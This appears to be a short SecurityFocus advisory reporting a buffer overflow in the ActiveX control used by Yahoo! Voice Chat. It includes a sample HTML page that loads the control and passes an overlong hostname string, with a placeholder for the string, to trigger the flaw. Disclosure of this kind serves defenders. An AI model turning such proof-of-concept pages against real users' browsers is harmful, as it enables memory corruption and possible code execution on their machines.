source: http://www.securityfocus.com/bid/7561/info

It has been reported that the ActiveX control used by the Yahoo! Voice Chat feature is prone to an exploitable buffer overflow vulnerability. This issue can be exploited via a malicious web page that calls the vulnerable control with malformed parameters. Although unconfirmed, it has been conjectured that this condition may be exploited to execute arbitrary code. 

------sample.htm-----------
<OBJECT id=yahooaudio type="application/x-oleobject"

classid="clsid:2B323CD9-50E3-11D3-9466-00A0C9700498">
</OBJECT>
<script>
yahooaudio.hostname="longstringheremorethan500chars";
yahooaudio.createandjoinconference();
</script>
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